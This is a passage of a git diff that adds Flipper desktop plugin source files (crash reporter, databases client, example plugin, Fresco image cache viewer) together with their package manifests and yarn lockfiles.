||||
const query = regex.exec(callstack);
|
||||
return query ? callstack.substring(0, query.index) : callstack;
|
||||
};
|
||||
/*
|
||||
* Callback to provide the currently active notifications.
|
||||
*/
|
||||
static getActiveNotifications = (
|
||||
persistedState: PersistedState,
|
||||
): Array<Notification> => {
|
||||
const filteredCrashes = persistedState.crashes.filter(crash => {
|
||||
const ignore = !crash.name && !crash.reason;
|
||||
const unknownCrashCause = crash.reason === UNKNOWN_CRASH_REASON;
|
||||
if (ignore || unknownCrashCause) {
|
||||
console.error('Ignored the notification for the crash', crash);
|
||||
}
|
||||
return !ignore && !unknownCrashCause;
|
||||
});
|
||||
return filteredCrashes.map((crash: Crash) => {
|
||||
const id = crash.notificationID;
|
||||
const name: string = crash.name || crash.reason;
|
||||
let title: string = 'CRASH: ' + truncate(name, 50);
|
||||
title = `${
|
||||
name == crash.reason
|
||||
? title
|
||||
: title + 'Reason: ' + truncate(crash.reason, 50)
|
||||
}`;
|
||||
const callstack = crash.callstack
|
||||
? CrashReporterPlugin.trimCallStackIfPossible(crash.callstack)
|
||||
: 'No callstack available';
|
||||
const msg = `Callstack: ${truncate(callstack, 200)}`;
|
||||
return {
|
||||
id,
|
||||
message: msg,
|
||||
severity: 'error',
|
||||
title: title,
|
||||
action: id,
|
||||
category: crash.reason || 'Unknown reason',
|
||||
};
|
||||
});
|
||||
};
|
||||
|
||||
/*
|
||||
* This function gets called whenever the device is registered
|
||||
*/
|
||||
static onRegisterDevice = (
|
||||
store: Store,
|
||||
baseDevice: BaseDevice,
|
||||
setPersistedState: (
|
||||
pluginKey: string,
|
||||
newPluginState: ?PersistedState,
|
||||
) => void,
|
||||
): void => {
|
||||
if (baseDevice.os.includes('iOS')) {
|
||||
addFileWatcherForiOSCrashLogs(store, setPersistedState);
|
||||
} else {
|
||||
const referenceDate = new Date();
|
||||
(function(
|
||||
store: Store,
|
||||
date: Date,
|
||||
setPersistedState: (
|
||||
pluginKey: string,
|
||||
newPluginState: ?PersistedState,
|
||||
) => void,
|
||||
) {
|
||||
let androidLog: string = '';
|
||||
let androidLogUnderProcess = false;
|
||||
let timer = null;
|
||||
baseDevice.addLogListener((entry: DeviceLogEntry) => {
|
||||
if (shouldParseAndroidLog(entry, referenceDate)) {
|
||||
if (androidLogUnderProcess) {
|
||||
androidLog += '\n' + entry.message;
|
||||
androidLog = androidLog.trim();
|
||||
if (timer) {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
} else {
|
||||
androidLog = entry.message;
|
||||
androidLogUnderProcess = true;
|
||||
}
|
||||
timer = setTimeout(() => {
|
||||
if (androidLog.length > 0) {
|
||||
parseCrashLogAndUpdateState(
|
||||
store,
|
||||
androidLog,
|
||||
setPersistedState,
|
||||
entry.date,
|
||||
);
|
||||
}
|
||||
androidLogUnderProcess = false;
|
||||
androidLog = '';
|
||||
}, 50);
|
||||
}
|
||||
});
|
||||
})(store, referenceDate, setPersistedState);
|
||||
}
|
||||
};
|
||||
openInLogs = (callstack: string) => {
|
||||
this.props.selectPlugin('DeviceLogs', callstack);
|
||||
};
|
||||
|
||||
constructor(props: Props<PersistedState>) {
|
||||
// Required step: always call the parent class' constructor
|
||||
super(props);
|
||||
let crash: ?Crash = null;
|
||||
if (
|
||||
this.props.persistedState.crashes &&
|
||||
this.props.persistedState.crashes.length > 0
|
||||
) {
|
||||
crash = this.props.persistedState.crashes[
|
||||
this.props.persistedState.crashes.length - 1
|
||||
];
|
||||
}
|
||||
|
||||
let deeplinkedCrash = null;
|
||||
if (this.props.deepLinkPayload) {
|
||||
const id = this.props.deepLinkPayload;
|
||||
const index = this.props.persistedState.crashes.findIndex(elem => {
|
||||
return elem.notificationID === id;
|
||||
});
|
||||
if (index >= 0) {
|
||||
deeplinkedCrash = this.props.persistedState.crashes[index];
|
||||
}
|
||||
}
|
||||
// Set the state directly. Use props if necessary.
|
||||
this.state = {
|
||||
crash: deeplinkedCrash || crash,
|
||||
};
|
||||
}
|
||||
|
||||
render() {
|
||||
let crashToBeInspected = this.state.crash;
|
||||
|
||||
if (!crashToBeInspected && this.props.persistedState.crashes.length > 0) {
|
||||
crashToBeInspected = this.props.persistedState.crashes[
|
||||
this.props.persistedState.crashes.length - 1
|
||||
];
|
||||
}
|
||||
const crash = crashToBeInspected;
|
||||
if (crash) {
|
||||
const {crashes} = this.props.persistedState;
|
||||
const crashMap = crashes.reduce(
|
||||
(acc: {[key: string]: string}, persistedCrash: Crash) => {
|
||||
const {notificationID, date} = persistedCrash;
|
||||
const name = 'Crash at ' + date.toLocaleString();
|
||||
acc[notificationID] = name;
|
||||
return acc;
|
||||
},
|
||||
{},
|
||||
);
|
||||
|
||||
const orderedIDs = crashes.map(
|
||||
persistedCrash => persistedCrash.notificationID,
|
||||
);
|
||||
const selectedCrashID = crash.notificationID;
|
||||
const onCrashChange = id => {
|
||||
const newSelectedCrash = crashes.find(
|
||||
element => element.notificationID === id,
|
||||
);
|
||||
this.setState({crash: newSelectedCrash});
|
||||
};
|
||||
|
||||
const callstackString = crash.callstack || '';
|
||||
const children = callstackString.split('\n').map(str => {
|
||||
return {message: str};
|
||||
});
|
||||
const crashSelector: CrashSelectorProps = {
|
||||
crashes: crashMap,
|
||||
orderedIDs,
|
||||
selectedCrashID,
|
||||
onCrashChange,
|
||||
};
|
||||
const showReason = crash.reason !== UNKNOWN_CRASH_REASON;
|
||||
return (
|
||||
<PluginRootContainer>
|
||||
{this.device.os == 'Android' ? (
|
||||
<CrashReporterBar
|
||||
crashSelector={crashSelector}
|
||||
openLogsCallback={() => {
|
||||
if (crash.callstack) {
|
||||
this.openInLogs(crash.callstack);
|
||||
}
|
||||
}}
|
||||
/>
|
||||
) : (
|
||||
<CrashReporterBar crashSelector={crashSelector} />
|
||||
)}
|
||||
<ScrollableColumn>
|
||||
<HeaderRow title="Name" value={crash.name} />
|
||||
{showReason ? (
|
||||
<HeaderRow title="Reason" value={crash.reason} />
|
||||
) : null}
|
||||
<Padder paddingLeft={8} paddingTop={4} paddingBottom={2}>
|
||||
<Title> Stacktrace </Title>
|
||||
</Padder>
|
||||
<ContextMenu
|
||||
items={[
|
||||
{
|
||||
label: 'copy',
|
||||
click: () => {
|
||||
clipboard.writeText(callstackString);
|
||||
},
|
||||
},
|
||||
]}>
|
||||
<Line />
|
||||
{children.map(child => {
|
||||
return (
|
||||
<StackTraceComponent
|
||||
key={child.message}
|
||||
stacktrace={child.message}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</ContextMenu>
|
||||
</ScrollableColumn>
|
||||
</PluginRootContainer>
|
||||
);
|
||||
}
|
||||
const crashSelector = {
|
||||
crashes: null,
|
||||
orderedIDs: null,
|
||||
selectedCrashID: null,
|
||||
onCrashChange: null,
|
||||
};
|
||||
return (
|
||||
<StyledFlexGrowColumn>
|
||||
<CrashReporterBar crashSelector={crashSelector} />
|
||||
<StyledFlexColumn>
|
||||
<Padder paddingBottom={8}>
|
||||
<Title>No Crashes Logged</Title>
|
||||
</Padder>
|
||||
</StyledFlexColumn>
|
||||
</StyledFlexGrowColumn>
|
||||
);
|
||||
}
|
||||
}
|
||||
17
desktop/plugins/crash_reporter/package.json
Normal file
17
desktop/plugins/crash_reporter/package.json
Normal file
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"name": "CrashReporter",
|
||||
"version": "0.1.0",
|
||||
"description": "A plugin which will display a crash",
|
||||
"main": "index.js",
|
||||
"repository": "https://github.com/facebook/flipper",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"title": "Crash Reporter",
|
||||
"bugs": {
|
||||
"email": "prit91@fb.com",
|
||||
"url": "https://fb.workplace.com/groups/220760072184928/"
|
||||
},
|
||||
"dependencies": {
|
||||
"unicode-substring": "^1.0.0"
|
||||
}
|
||||
}
|
||||
8
desktop/plugins/crash_reporter/yarn.lock
Normal file
8
desktop/plugins/crash_reporter/yarn.lock
Normal file
@@ -0,0 +1,8 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
unicode-substring@^1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/unicode-substring/-/unicode-substring-1.0.0.tgz#659fb839078e7bee84b86c27210ac4db215bf885"
|
||||
integrity sha512-2acGIOTaqS/GWocwKdyL1Vk9MHglCss1mR0CL2o/YJTwKrAt6JbTrw4X187VkSDmFcpJ8n2i3/+gJSYEdvXJMg==
|
||||
48
desktop/plugins/databases/ButtonNavigation.js
Normal file
48
desktop/plugins/databases/ButtonNavigation.js
Normal file
@@ -0,0 +1,48 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Button, ButtonGroup, Glyph, colors} from 'flipper';
|
||||
|
||||
export default function ButtonNavigation(props: {|
|
||||
/** Back button is enabled */
|
||||
canGoBack: boolean,
|
||||
/** Forwards button is enabled */
|
||||
canGoForward: boolean,
|
||||
/** Callback when back button is clicked */
|
||||
onBack: () => void,
|
||||
/** Callback when forwards button is clicked */
|
||||
onForward: () => void,
|
||||
|}) {
|
||||
return (
|
||||
<ButtonGroup>
|
||||
<Button disabled={!props.canGoBack} onClick={props.onBack}>
|
||||
<Glyph
|
||||
name="chevron-left"
|
||||
size={16}
|
||||
color={
|
||||
props.canGoBack
|
||||
? colors.macOSTitleBarIconActive
|
||||
: colors.macOSTitleBarIconBlur
|
||||
}
|
||||
/>
|
||||
</Button>
|
||||
<Button disabled={!props.canGoForward} onClick={props.onForward}>
|
||||
<Glyph
|
||||
name="chevron-right"
|
||||
size={16}
|
||||
color={
|
||||
props.canGoForward
|
||||
? colors.macOSTitleBarIconActive
|
||||
: colors.macOSTitleBarIconBlur
|
||||
}
|
||||
/>
|
||||
</Button>
|
||||
</ButtonGroup>
|
||||
);
|
||||
}
|
||||
101
desktop/plugins/databases/ClientProtocol.js
Normal file
101
desktop/plugins/databases/ClientProtocol.js
Normal file
@@ -0,0 +1,101 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import type {PluginClient, Value} from 'flipper';
|
||||
|
||||
type ClientCall<Params, Response> = Params => Promise<Response>;
|
||||
|
||||
type DatabaseListRequest = {};
|
||||
|
||||
type DatabaseListResponse = Array<{
|
||||
id: number,
|
||||
name: string,
|
||||
tables: Array<string>,
|
||||
}>;
|
||||
|
||||
type QueryTableRequest = {
|
||||
databaseId: number,
|
||||
table: string,
|
||||
order?: string,
|
||||
reverse: boolean,
|
||||
start: number,
|
||||
count: number,
|
||||
};
|
||||
|
||||
type QueryTableResponse = {
|
||||
columns: Array<string>,
|
||||
values: Array<Array<Value>>,
|
||||
start: number,
|
||||
count: number,
|
||||
total: number,
|
||||
};
|
||||
|
||||
type GetTableStructureRequest = {
|
||||
databaseId: number,
|
||||
table: string,
|
||||
};
|
||||
|
||||
type GetTableStructureResponse = {
|
||||
structureColumns: Array<string>,
|
||||
structureValues: Array<Array<Value>>,
|
||||
indexesColumns: Array<string>,
|
||||
indexesValues: Array<Array<Value>>,
|
||||
definition: string,
|
||||
};
|
||||
|
||||
type ExecuteSqlRequest = {
|
||||
databaseId: number,
|
||||
value: string,
|
||||
};
|
||||
|
||||
type ExecuteSqlResponse = {
|
||||
type: string,
|
||||
columns: Array<string>,
|
||||
values: Array<Array<Value>>,
|
||||
insertedId: number,
|
||||
affectedCount: number,
|
||||
};
|
||||
|
||||
type GetTableInfoRequest = {
|
||||
databaseId: number,
|
||||
table: string,
|
||||
};
|
||||
|
||||
type GetTableInfoResponse = {
|
||||
definition: string,
|
||||
};
|
||||
|
||||
export class DatabaseClient {
|
||||
client: PluginClient;
|
||||
|
||||
constructor(pluginClient: PluginClient) {
|
||||
this.client = pluginClient;
|
||||
}
|
||||
|
||||
getDatabases: ClientCall<
|
||||
DatabaseListRequest,
|
||||
DatabaseListResponse,
|
||||
> = params => this.client.call('databaseList', {});
|
||||
|
||||
getTableData: ClientCall<QueryTableRequest, QueryTableResponse> = params =>
|
||||
this.client.call('getTableData', params);
|
||||
|
||||
getTableStructure: ClientCall<
|
||||
GetTableStructureRequest,
|
||||
GetTableStructureResponse,
|
||||
> = params => this.client.call('getTableStructure', params);
|
||||
|
||||
getExecution: ClientCall<ExecuteSqlRequest, ExecuteSqlResponse> = params =>
|
||||
this.client.call('execute', params);
|
||||
|
||||
getTableInfo: ClientCall<
|
||||
GetTableInfoRequest,
|
||||
GetTableInfoResponse,
|
||||
> = params => this.client.call('getTableInfo', params);
|
||||
}
|
||||
1435
desktop/plugins/databases/index.js
Normal file
1435
desktop/plugins/databases/index.js
Normal file
File diff suppressed because it is too large
Load Diff
17
desktop/plugins/databases/package.json
Normal file
17
desktop/plugins/databases/package.json
Normal file
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"name": "Databases",
|
||||
"version": "1.0.0",
|
||||
"title": "Databases",
|
||||
"icon": "internet",
|
||||
"main": "index.js",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"dependencies": {
|
||||
"sql-formatter": "^2.3.3",
|
||||
"dateformat": "^3.0.3"
|
||||
},
|
||||
"bugs": {
|
||||
"email": "oncall+flipper@xmail.facebook.com",
|
||||
"url": "https://fb.workplace.com/groups/flippersupport/"
|
||||
}
|
||||
}
|
||||
20
desktop/plugins/databases/yarn.lock
Normal file
20
desktop/plugins/databases/yarn.lock
Normal file
@@ -0,0 +1,20 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
dateformat@^3.0.3:
|
||||
version "3.0.3"
|
||||
resolved "https://registry.yarnpkg.com/dateformat/-/dateformat-3.0.3.tgz#a6e37499a4d9a9cf85ef5872044d62901c9889ae"
|
||||
integrity sha512-jyCETtSl3VMZMWeRo7iY1FL19ges1t55hMo5yaam4Jrsm5EPL89UQkoQRyiI+Yf4k8r2ZpdngkV8hr1lIdjb3Q==
|
||||
|
||||
lodash@^4.16.0:
|
||||
version "4.17.14"
|
||||
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.14.tgz#9ce487ae66c96254fe20b599f21b6816028078ba"
|
||||
integrity sha512-mmKYbW3GLuJeX+iGP+Y7Gp1AiGHGbXHCOh/jZmrawMmsE7MS4znI3RL2FsjbqOyMayHInjOeykW7PEajUk1/xw==
|
||||
|
||||
sql-formatter@^2.3.3:
|
||||
version "2.3.3"
|
||||
resolved "https://registry.yarnpkg.com/sql-formatter/-/sql-formatter-2.3.3.tgz#910ef484fbb988a5e510bea4161157e3b80b2f62"
|
||||
integrity sha512-m6pqVXwsm9GkCHC/+gdPvNowI7PNoVTT6OZMWKwXJoP2MvfntfhcfyliIf4/QX6t+DirSJ6XDSiSS70YvZ87Lw==
|
||||
dependencies:
|
||||
lodash "^4.16.0"
|
||||
116
desktop/plugins/example/index.tsx
Normal file
116
desktop/plugins/example/index.tsx
Normal file
@@ -0,0 +1,116 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Button, Input, FlipperPlugin, FlexColumn, styled, Text} from 'flipper';
|
||||
import React from 'react';
|
||||
|
||||
type DisplayMessageResponse = {
|
||||
greeting: string;
|
||||
};
|
||||
|
||||
type Message = {
|
||||
id: number;
|
||||
msg: string | null | undefined;
|
||||
};
|
||||
|
||||
type State = {
|
||||
prompt: string;
|
||||
message: string;
|
||||
};
|
||||
|
||||
type PersistedState = {
|
||||
currentNotificationIds: Array<number>;
|
||||
receivedMessage: string | null;
|
||||
};
|
||||
|
||||
const Container = styled(FlexColumn)({
|
||||
alignItems: 'center',
|
||||
justifyContent: 'space-around',
|
||||
padding: 20,
|
||||
});
|
||||
|
||||
export default class Example extends FlipperPlugin<State, any, PersistedState> {
|
||||
static defaultPersistedState = {
|
||||
currentNotificationIds: [],
|
||||
receivedMessage: null,
|
||||
};
|
||||
|
||||
state = {
|
||||
prompt: 'Type a message below to see it displayed on the mobile app',
|
||||
message: '',
|
||||
};
|
||||
|
||||
/*
|
||||
* Reducer to process incoming "send" messages from the mobile counterpart.
|
||||
*/
|
||||
static persistedStateReducer(
|
||||
persistedState: PersistedState,
|
||||
method: string,
|
||||
payload: Message,
|
||||
) {
|
||||
if (method === 'triggerNotification') {
|
||||
return Object.assign({}, persistedState, {
|
||||
currentNotificationIds: persistedState.currentNotificationIds.concat([
|
||||
payload.id,
|
||||
]),
|
||||
});
|
||||
}
|
||||
if (method === 'displayMessage') {
|
||||
return Object.assign({}, persistedState, {
|
||||
receivedMessage: payload.msg,
|
||||
});
|
||||
}
|
||||
return persistedState;
|
||||
}
|
||||
|
||||
/*
|
||||
* Callback to provide the currently active notifications.
|
||||
*/
|
||||
static getActiveNotifications(persistedState: PersistedState) {
|
||||
return persistedState.currentNotificationIds.map((x: number) => {
|
||||
return {
|
||||
id: 'test-notification:' + x,
|
||||
message: 'Example Notification',
|
||||
severity: 'warning' as 'warning',
|
||||
title: 'Notification: ' + x,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
/*
|
||||
* Call a method of the mobile counterpart, to display a message.
|
||||
*/
|
||||
sendMessage() {
|
||||
this.client
|
||||
.call('displayMessage', {message: this.state.message || 'Weeeee!'})
|
||||
.then((_params: DisplayMessageResponse) => {
|
||||
this.setState({
|
||||
prompt: 'Nice',
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<Container>
|
||||
<Text>{this.state.prompt}</Text>
|
||||
<Input
|
||||
placeholder="Message"
|
||||
onChange={event => {
|
||||
this.setState({message: event.target.value});
|
||||
}}
|
||||
/>
|
||||
<Button onClick={this.sendMessage.bind(this)}>Send</Button>
|
||||
{this.props.persistedState.receivedMessage && (
|
||||
<Text> {this.props.persistedState.receivedMessage} </Text>
|
||||
)}
|
||||
</Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
13
desktop/plugins/example/package.json
Normal file
13
desktop/plugins/example/package.json
Normal file
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"name": "flipper-plugin-example",
|
||||
"version": "1.0.0",
|
||||
"description": "An example for a Flipper plugin",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"title": "Example Plugin",
|
||||
"icon": "apps",
|
||||
"bugs": {
|
||||
"url": "https://fbflipper.com/"
|
||||
}
|
||||
}
|
||||
4
desktop/plugins/example/yarn.lock
Normal file
4
desktop/plugins/example/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
78
desktop/plugins/fresco/ImagePool.tsx
Normal file
78
desktop/plugins/fresco/ImagePool.tsx
Normal file
@@ -0,0 +1,78 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {ImageId, ImageData} from './api';
|
||||
|
||||
export type ImagesMap = {[imageId in ImageId]: ImageData};
|
||||
|
||||
const maxInflightRequests = 10;
|
||||
|
||||
export default class ImagePool {
|
||||
cache: ImagesMap = {};
|
||||
requested: {[imageId in ImageId]: boolean} = {};
|
||||
queued: Array<ImageId> = [];
|
||||
inFlightRequests: number = 0;
|
||||
fetchImage: (imageId: ImageId) => void;
|
||||
updateNotificationScheduled: boolean = false;
|
||||
onPoolUpdated: (images: ImagesMap) => void;
|
||||
|
||||
constructor(
|
||||
fetchImage: (imageId: ImageId) => void,
|
||||
onPoolUpdated: (images: ImagesMap) => void,
|
||||
) {
|
||||
this.fetchImage = fetchImage;
|
||||
this.onPoolUpdated = onPoolUpdated;
|
||||
}
|
||||
|
||||
getImages(): ImagesMap {
|
||||
return {...this.cache};
|
||||
}
|
||||
|
||||
fetchImages(ids: Array<string>) {
|
||||
for (const id of ids) {
|
||||
if (!this.cache[id] && !this.requested[id]) {
|
||||
this.requested[id] = true;
|
||||
|
||||
if (this.inFlightRequests < maxInflightRequests) {
|
||||
this.inFlightRequests++;
|
||||
this.fetchImage(id);
|
||||
} else {
|
||||
this.queued.unshift(id);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
clear() {
|
||||
this.cache = {};
|
||||
this.requested = {};
|
||||
}
|
||||
|
||||
_fetchCompleted(image: ImageData): void {
|
||||
this.cache[image.imageId] = image;
|
||||
delete this.requested[image.imageId];
|
||||
|
||||
if (this.queued.length > 0) {
|
||||
const popped = this.queued.pop() as string;
|
||||
this.fetchImage(popped);
|
||||
} else {
|
||||
this.inFlightRequests--;
|
||||
}
|
||||
|
||||
if (!this.updateNotificationScheduled) {
|
||||
this.updateNotificationScheduled = true;
|
||||
window.setTimeout(this._notify, 1000);
|
||||
}
|
||||
}
|
||||
|
||||
_notify = () => {
|
||||
this.updateNotificationScheduled = false;
|
||||
this.onPoolUpdated(this.getImages());
|
||||
};
|
||||
}
|
||||
511
desktop/plugins/fresco/ImagesCacheOverview.tsx
Normal file
511
desktop/plugins/fresco/ImagesCacheOverview.tsx
Normal file
@@ -0,0 +1,511 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {CacheInfo, ImageId, ImageData, ImagesList} from './api';
|
||||
import {ImageEventWithId} from './index';
|
||||
|
||||
import {
|
||||
Toolbar,
|
||||
Button,
|
||||
Spacer,
|
||||
colors,
|
||||
FlexBox,
|
||||
FlexRow,
|
||||
FlexColumn,
|
||||
LoadingIndicator,
|
||||
styled,
|
||||
Select,
|
||||
ToggleButton,
|
||||
Text,
|
||||
} from 'flipper';
|
||||
import MultipleSelect from './MultipleSelect';
|
||||
import {ImagesMap} from './ImagePool';
|
||||
import {clipboard} from 'electron';
|
||||
import React, {ChangeEvent, KeyboardEvent, PureComponent} from 'react';
|
||||
|
||||
function formatMB(bytes: number) {
|
||||
return Math.floor(bytes / (1024 * 1024)) + 'MB';
|
||||
}
|
||||
|
||||
function formatKB(bytes: number) {
|
||||
return Math.floor(bytes / 1024) + 'KB';
|
||||
}
|
||||
|
||||
type ToggleProps = {
|
||||
label: string;
|
||||
onClick?: (newValue: boolean) => void;
|
||||
toggled: boolean;
|
||||
};
|
||||
|
||||
const ToolbarToggleButton = styled(ToggleButton)(_props => ({
|
||||
alignSelf: 'center',
|
||||
marginRight: 4,
|
||||
minWidth: 30,
|
||||
}));
|
||||
|
||||
const ToggleLabel = styled(Text)(_props => ({
|
||||
whiteSpace: 'nowrap',
|
||||
}));
|
||||
|
||||
function Toggle(props: ToggleProps) {
|
||||
return (
|
||||
<>
|
||||
<ToolbarToggleButton
|
||||
onClick={() => {
|
||||
props.onClick && props.onClick(!props.toggled);
|
||||
}}
|
||||
toggled={props.toggled}
|
||||
/>
|
||||
<ToggleLabel>{props.label}</ToggleLabel>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
type ImagesCacheOverviewProps = {
|
||||
onColdStartChange: (checked: boolean) => void;
|
||||
coldStartFilter: boolean;
|
||||
allSurfacesOption: string;
|
||||
surfaceOptions: Set<string>;
|
||||
selectedSurfaces: Set<string>;
|
||||
onChangeSurface: (key: Set<string>) => void;
|
||||
images: ImagesList;
|
||||
onClear: (type: string) => void;
|
||||
onTrimMemory: () => void;
|
||||
onRefresh: () => void;
|
||||
onEnableDebugOverlay: (enabled: boolean) => void;
|
||||
isDebugOverlayEnabled: boolean;
|
||||
onEnableAutoRefresh: (enabled: boolean) => void;
|
||||
isAutoRefreshEnabled: boolean;
|
||||
onImageSelected: (selectedImage: ImageId) => void;
|
||||
imagesMap: ImagesMap;
|
||||
events: Array<ImageEventWithId>;
|
||||
onTrackLeaks: (enabled: boolean) => void;
|
||||
isLeakTrackingEnabled: boolean;
|
||||
};
|
||||
|
||||
type ImagesCacheOverviewState = {
|
||||
selectedImage: ImageId | null;
|
||||
size: number;
|
||||
};
|
||||
|
||||
const StyledSelect = styled(Select)(props => ({
|
||||
marginLeft: 6,
|
||||
marginRight: 6,
|
||||
height: '100%',
|
||||
maxWidth: 164,
|
||||
}));
|
||||
|
||||
export default class ImagesCacheOverview extends PureComponent<
|
||||
ImagesCacheOverviewProps,
|
||||
ImagesCacheOverviewState
|
||||
> {
|
||||
state = {
|
||||
selectedImage: null,
|
||||
size: 150,
|
||||
};
|
||||
|
||||
static Container = styled(FlexColumn)({
|
||||
backgroundColor: colors.white,
|
||||
});
|
||||
|
||||
static Content = styled(FlexColumn)({
|
||||
flex: 1,
|
||||
overflow: 'auto',
|
||||
});
|
||||
|
||||
static Empty = styled(FlexBox)({
|
||||
alignItems: 'center',
|
||||
height: '100%',
|
||||
justifyContent: 'center',
|
||||
width: '100%',
|
||||
});
|
||||
|
||||
onImageSelected = (selectedImage: ImageId) => {
|
||||
this.setState({selectedImage});
|
||||
this.props.onImageSelected(selectedImage);
|
||||
};
|
||||
|
||||
onKeyDown = (e: KeyboardEvent) => {
|
||||
const selectedImage = this.state.selectedImage;
|
||||
const imagesMap = this.props.imagesMap;
|
||||
|
||||
if (selectedImage) {
|
||||
if ((e.ctrlKey || e.metaKey) && e.key === 'c') {
|
||||
clipboard.writeText(String(imagesMap[selectedImage]));
|
||||
e.preventDefault();
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
onEnableDebugOverlayToggled = () => {
|
||||
this.props.onEnableDebugOverlay(!this.props.isDebugOverlayEnabled);
|
||||
};
|
||||
|
||||
onEnableAutoRefreshToggled = () => {
|
||||
this.props.onEnableAutoRefresh(!this.props.isAutoRefreshEnabled);
|
||||
};
|
||||
|
||||
onChangeSize = (e: ChangeEvent<HTMLInputElement>) =>
|
||||
this.setState({size: parseInt(e.target.value, 10)});
|
||||
|
||||
onSurfaceOptionsChange = (selectedItem: string, checked: boolean) => {
|
||||
const {allSurfacesOption, surfaceOptions} = this.props;
|
||||
const selectedSurfaces = new Set([...this.props.selectedSurfaces]);
|
||||
|
||||
if (checked && selectedItem === allSurfacesOption) {
|
||||
this.props.onChangeSurface(surfaceOptions);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if (!checked && selectedSurfaces.size === 1) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (selectedItem !== allSurfacesOption) {
|
||||
selectedSurfaces.delete(allSurfacesOption);
|
||||
|
||||
if (checked) {
|
||||
selectedSurfaces.add(selectedItem);
|
||||
} else {
|
||||
selectedSurfaces.delete(selectedItem);
|
||||
}
|
||||
}
|
||||
|
||||
if (
|
||||
surfaceOptions.size - selectedSurfaces.size === 1 &&
|
||||
!selectedSurfaces.has(allSurfacesOption)
|
||||
) {
|
||||
selectedSurfaces.add(allSurfacesOption);
|
||||
}
|
||||
|
||||
this.props.onChangeSurface(selectedSurfaces);
|
||||
};
|
||||
|
||||
render() {
|
||||
const hasImages =
|
||||
this.props.images.reduce(
|
||||
(c, cacheInfo) => c + cacheInfo.imageIds.length,
|
||||
0,
|
||||
) > 0;
|
||||
|
||||
return (
|
||||
<ImagesCacheOverview.Container
|
||||
grow={true}
|
||||
onKeyDown={this.onKeyDown}
|
||||
tabIndex={0}>
|
||||
<Toolbar position="top">
|
||||
<Button icon="trash" onClick={this.props.onTrimMemory}>
|
||||
Trim Memory
|
||||
</Button>
|
||||
<Button onClick={this.props.onRefresh}>Refresh</Button>
|
||||
<MultipleSelect
|
||||
selected={this.props.selectedSurfaces}
|
||||
options={this.props.surfaceOptions}
|
||||
onChange={this.onSurfaceOptionsChange}
|
||||
label="Surfaces"
|
||||
/>
|
||||
<Toggle
|
||||
onClick={this.onEnableAutoRefreshToggled}
|
||||
toggled={this.props.isAutoRefreshEnabled}
|
||||
label="Auto Refresh"
|
||||
/>
|
||||
<Toggle
|
||||
onClick={this.onEnableDebugOverlayToggled}
|
||||
toggled={this.props.isDebugOverlayEnabled}
|
||||
label="Show Debug Overlay"
|
||||
/>
|
||||
<Toggle
|
||||
toggled={this.props.coldStartFilter}
|
||||
onClick={this.props.onColdStartChange}
|
||||
label="Show Cold Start Images"
|
||||
/>
|
||||
<Toggle
|
||||
toggled={this.props.isLeakTrackingEnabled}
|
||||
onClick={this.props.onTrackLeaks}
|
||||
label="Track Leaks"
|
||||
/>
|
||||
<Spacer />
|
||||
<input
|
||||
type="range"
|
||||
onChange={this.onChangeSize}
|
||||
min={50}
|
||||
max={150}
|
||||
value={this.state.size}
|
||||
/>
|
||||
</Toolbar>
|
||||
{!hasImages ? (
|
||||
<ImagesCacheOverview.Empty>
|
||||
<LoadingIndicator size={50} />
|
||||
</ImagesCacheOverview.Empty>
|
||||
) : (
|
||||
<ImagesCacheOverview.Content>
|
||||
{this.props.images.map((data: CacheInfo, index: number) => {
|
||||
const maxSize = data.maxSizeBytes;
|
||||
const subtitle = maxSize
|
||||
? formatMB(data.sizeBytes) + ' / ' + formatMB(maxSize)
|
||||
